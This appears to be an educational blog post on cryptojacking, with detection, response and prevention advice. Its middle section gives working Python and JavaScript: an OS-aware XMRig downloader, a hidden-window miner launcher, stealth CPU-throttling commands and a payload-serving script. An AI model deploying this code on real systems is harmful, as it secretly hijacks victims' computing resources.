Cryptojacking

Malware

Hacking

Cryptocurrency

Mining

Understanding Cryptojacking — How Hackers Steal Your Computing Power

Afnan K, Blockchain Student, Digital University Kerala

Have you ever thought about why hackers need to infect malware on your computer, even though there is nothing that can be done?

Why do attackers spread trojans or worms that don’t bring any benefits to them????

You believe that if there’s no private data on your computer, then everything is safe, right? If spyware affects your system, you think there is nothing to steal, right? And if ransomware hits your system, you can just reinstall your OS.

Are you still thinking that way ?????

But the truth is, even though there is no personal or private data from your computer, there is something that is still valuable — It’s the processing power.

Sometimes attackers don’t need your private data or passwords; they just need your CPU or GPU to secretly mine cryptocurrency. This silent attack is called Cryptojacking, also known as Malicious Cryptomining

SO, what does actually mean by Cryptojacking_?

Cryptojacking is a type of malware that enables attackers to secretly access your computer and mine cryptocurrency for themselves, utilising your system’s power. They just want your CPU and GPU to do the heavy lifting while they sit back and collect the profit.

The worst part is that most victims never notice it’s happening in their system; it makes the system overwhelming and suddenly runs slow, gets hot for no reason or drains the laptop battery power quickly, as usual.

Mainly two ways hackers can inject cryptojacking into your system

(1) Through Malware: You unknowingly download cryptomining malware, thinking that it’s a harmless program — maybe a fake game, pirated software or even a free tool.

Source: SoK: Crypotjacking Malware — arXiv

(2) Through Your Browser: Some websites hide cryptomining scripts (JavaScript) that run as soon as you open the page, using your CPU to mine coins while browsing.

Source: SoK: Crypotjacking Malware — arXiv

How Hackers Build Cryptojacking Attacks & How They Exploit Your System.

Have you ever thought about it?

If not, I will help you to understand how these hackers build these cryptojacking programs and simply spread away.

For that you want: Monero wallet (XMR) — Best for anonymity, A mining software like WebMiner or XMRig — It is lightweight, open-source.

You can check out fromhttps://github.com/xmrig/xmrig/releases — for the latest release of XMRig

This is the moment attackers start thinking like professionals.

1. First attacker creates a program to detect the OS of the victim machine — Linux, Mac or Windows.

2. Then the program automatically downloads the XMRig according to the target OS of the victim system and saves it to a random path that the user does not care about.

def auto_download():
    import platform, requests, os, zipfile, tarfile

    os_name = platform.system().lower()

    if "linux" in os_name:
        url = "https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-x64.tar.gz"
        filename = "xmrig-linux.tar.gz"
        archive_type = "tar.gz"
    elif "windows" in os_name:
        url = "https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-msvc-win64.zip"
        filename = "xmrig-windows.zip"
        archive_type = "zip"
    elif "darwin" in os_name:
        url = "https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-macos-x64.tar.gz"
        filename = "xmrig-macos.tar.gz"
        archive_type = "tar.gz"
    else:
        return

    try:
        # Download silently
        with requests.get(url, stream=True) as r:
            r.raise_for_status()
            with open(filename, "wb") as f:
                for chunk in r.iter_content(chunk_size=8192):
                    f.write(chunk)
        
        # Extract 
        if archive_type == "zip":
            with zipfile.ZipFile(filename, 'r') as zip_ref:
                zip_ref.extractall(".")
        elif archive_type == "tar.gz":
            with tarfile.open(filename, 'r:gz') as tar_ref:
                tar_ref.extractall(".")
        
        # Remove archive
        os.remove(filename)
        
    except Exception:
        pass

if __name__ == "__main__":
    auto_download()

3. Then the program silently runs XMRig mining in the background.

def run_miner_hidden():
    import subprocess, os, sys
    # Hide the terminal window (Windows specific)
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    startupinfo.wShowWindow = 0  # SW_HIDE
    
    config = [
        'xmrig.exe',
        '--donate-level=1',
        '-o', 'pool.supportxmr.com:443',
        '-u', 'YOUR_MONERO_WALLET_ADDRESS', #Wallet_Address
        '-k', '--tls'
    ]
    
    try:
        process = subprocess.Popen(
            config,
            startupinfo=startupinfo,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            cwd=os.path.dirname(__file__)
        )
       
        return process
    except Exception as e:
        return None

if __name__ == '__main__':
    run_miner_hidden()

4. Attackers can configure the miner to use 30% to 50% of CPU while the system is actively using, then ramp it to 80% to 100% while the system is idle — this makes the program stealthy for the users.

#For ~50% CPU usage:
xmrig.exe --donate-level=0 -o pool.supportxmr.com:443 -u YOUR_MONERO_WALLET_ADDRESS -k --tls --max-cpu-usage=50 --cpu-priority=0 --cpu-max-threads-hint=50

#Specific thread count (adjust based on your CPU cores):
xmrig.exe --donate-level=0 -o pool.supportxmr.com:443 -u YOUR_MONERO_WALLET_ADDRESS -k --tls --threads=2 --cpu-priority=0

#With background operation:
xmrig --donate-level=0 -o pool.supportxmr.com:443 -u YOUR_MONERO_WALLET_ADDRESS -k --tls --max-cpu-usage=40 --cpu-priority=0 --background

5. Professional Attackers can evade firewalls or antivirus, hide or spoof entries in Task Manager and optimise miners for stealth — using persistence, obfuscation, and legitimate system tools. So the malicious process looks normal.

6. Attackers hide the malicious program that they just created in a normal program (an .exe on Windows or a .deb on Linux) and rename it to something familiar, like photoshop.exe.

7. Some attackers create a fake website inside that they host a tiny JavaScript script that actually find out the visitor OS and send the malicious program according to the visitor OS — for (eg: .exe for windows .deb for linux .dmg/.pkg for macOS).

function getDownloadLink() {
  // Detect OS
  const ua = navigator.userAgent || '';
  const plat = navigator.platform || '';

  const isWindows = /Win/i.test(plat) || /Windows/i.test(ua);
  const isMac = /Mac/i.test(plat) || /Macintosh/i.test(ua);
  const isLinux = /Linux/i.test(plat) || /Linux/i.test(ua);

  // Replace these URLs with the real download links you want to serve
  const links = {
    windows: 'https://example.com/downloads/update.exe',
    mac:     'https://example.com/downloads/update.tar.gz',
    linux:   'https://example.com/downloads/update.tar.gz',
  };

  if (isWindows) return { os: 'windows', url: links.windows };
  if (isMac)     return { os: 'mac',     url: links.mac };
  if (isLinux)   return { os: 'linux',   url: links.linux };
}

8. Attackers spread the malicious program through Phishing Emails, Malicious Sites, Pirated or modified Software and Games, Removable media and much more.

This is how attackers make cash from your PC without stealing your private data. If One Infected System = 0.001 XMR , 100 Systems = 0.100 XMR that is 300$+ — Easy money.

How to know if you are being Cryptojacked

Previously, I mentioned that the malware doesn’t show a ransom note or pop-up. It is hidden in your computer; you might not notice if your system is hijacked.

But you can still find out the common signs you can watch for:

1. Performance Drops: app lags, Website fails to render properly, or a simple task takes longer than usual.
2. Consistently High CPU/GPU usage when Idle: Your computer works too hard even when the system is idle.
3. Loud Noise and Overheating: The machine feels hotter than usual, and you can hear the noise coming from the fan spinning.
4. Battery Drain: The Battery drains quickly, even when you’re not using it, and is especially noticeable on laptops and mobile phones.
5. Unfamiliar Process or Service: You can see unknown entries in Task Manager (windows) or Activity Monitor (mac).
6. Unexpected Network Traffic: Your device may start making unusual outbound connections — for example, it may repeattraffic to mining pool servers like pool.supportxmr.com or other unknown domains.

If you notice one or more of these signs, there’s a good chance your system is silently mining cryptocurrency for someone else.

What to do immediately if you spot any of these signs on your system

1. Close Suspicious Browser Tabs: If you find any improvement after closing tabs. It could be a web crypto miner.
2. Disconnect From the Network: This isolates your device and prevents it from communicating with the attacker’s mining pool immediately.
3. Run a Full scan with a Reputable Antivirus: It helps to identify threats and quarantine or remove anything flagged.
4. Check Running Processes: Look for an unknown process consuming a significant amount of CPU. Investigate it, and if you find something suspicious, then stop the process.
5. Reboot into Safe Mode: If your system is lagging or behaving strangely, reboot into Safe Mode and investigate the issue. In Safe Mode, only essential system programs run, which makes it easier to spot and remove anything suspicious.
6. Change Credentials: If you suspect that cloud instances or admin accounts have been compromised, change credentials and enable MFA everywhere.
7. Investigate Startup items and Scheduled Tasks: Miners often set themselves to run automatically after a restart, so review your startup items and scheduled tasks to make sure nothing suspicious is set to launch.

Once you spot the signs, act fast — The longer it runs, the more power and money you lose.

Long-Term Steps to Keep Your Device Malware-Free

Stopping a cryptojacking attack once is good — but make sure they never return. For that, we want to perform some additional things that keep the system safe, fast, and secure in the future

1. Keep Everything Updated: Always ensure all operating systems, software, and browsers are up to date. Most attackers exploit old vulnerabilities in the system.
2. Use Trusted Security Software: Install the reliable antivirus tool to keep it active. It provides an extra layer of security from malicious processes running in the background.
3. Think Before You Click: Avoid downloading unknown stuff from third-party websites or running random scripts. Be careful with email attachments, untrusted websites, free or pirated tools — they hide miners inside those things.
4. Enable MFA & Strong Passwords: Always ensure MFA and strong passwords are used for the admin account and cloud access. Even if someone gains access to your password, MFA will prevent unauthorised access to your system.
5. Optimise Network Security: If possible, enable the firewall and block domains associated with crypto mining pools. Your network security should be the first priority for protecting the system.
6. Monitor System Performance: Get familiar with your device’s normal behaviour (CPU usage, temperature, startup programs). If something feels awkward, you will notice it faster.
7. Secure Your Cloud and Servers: For cloud systems, rotate access keys, enable MFA, and monitor resource usage. Cryptojacking often targets cloud servers because they are always on and require more computing power.

Build good security habits now. Attackers never find an easy way later.

Real-World Cryptojacking Examples

1. Coinhive — The Web Miner That Took Over The Internet: Coinhive was a JavaScript miner that secretly embedded in websites to mine Monero using visitors’ browsers. Attackers hacked thousands of sites to inject it.
2. Smominru Botnet: A massive cryptomining botnet spreading through EternalBlue (same exploit as WannaCry). Over 500,000 infected Windows machines mine Monero, primarily targeting servers and enterprise networks.
3. WannaMine: A worm-style cryptojacker that spreads automatically inside networks.
4. TeamTNT Cloud Attacks: A hacking group focused on cryptomining in cloud systems. Especially target AWS servers, exposed Docker engines, and Kubernetes clusters. The attacker stole AWS credentials — installed miners + allowed reinfection persistence.
5. Graboid: Graboid is a worm that exploits unsecured (i.e., exposed to the internet) Docker containers. It spreads from compromised hosts to other containers in their networks, where it hijacks the resources of its infected systems to mine the Monero cryptocurrency.

These real-world attacks prove one thing clearly: cryptojacking isn’t random or small-scale — it’s strategic, widespread, and evolving fast. From browsers and home PCs to enterprise networks, cloud servers, and container environments.

As they say, “Your CPU is the new gold mine.”
Protect your gold mine before someone else starts digging — Because in the digital world, silent theft is still theft. Thank you.